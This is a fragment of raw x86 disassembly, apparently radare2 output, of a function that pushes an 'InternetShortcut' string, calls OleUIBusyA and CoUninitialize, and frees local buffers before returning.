mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x403f00
push ebx
call fcn.00409473
add esp, 4
push 0x42759f
push dword [ebp - 0x50]
push dword [ebp - 4]
mov ecx, 3
call fcn.0040106b
add esp, 0xc
mov dword [ebp - 0x58], eax
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x403f31
mov eax, 0x4272f9
push eax
push OleUIBusyA
push 0
push 0x427597
push OleUIBusyA
push 0
push str.InternetShortcut
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x403f60
mov eax, 0x4272f9
push eax
push 4
mov ebx, 0x8cc
call fcn.0040a1e0
add esp, 0x34
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x403f86
push ebx
call fcn.00409473
add esp, 4
pop ebx
pop ecx
jmp 0x403c08
add esp, 8
push OleUIBusyA
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x403fa3
mov eax, 0x4272f9
push eax
push 1
mov ebx, 0x244
call fcn.0040adf0
add esp, 0x10
mov dword [ebp - 0x58], esp
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
nop
nop
nop
cmp dword [ebp - 0x58], esp
je 0x403fdb
push 6
call fcn.0040945b
add esp, 4
mov dword [0x429603], 1
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x403ff5
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404005
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404015
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x404025
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404035
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x404045
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x34]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x40]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x40406c
push ebx
call fcn.00409473
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x404080
push ebx
call fcn.00409473
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x404094
push ebx
call fcn.00409473
add esp, 4
pop ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4040ad
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4040bd
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4040cd
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4040dd
push ebx
call fcn.00409473
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4040ed
push ebx
call fcn.00409473
add esp, 4
mov esp, ebp
pop ebp
ret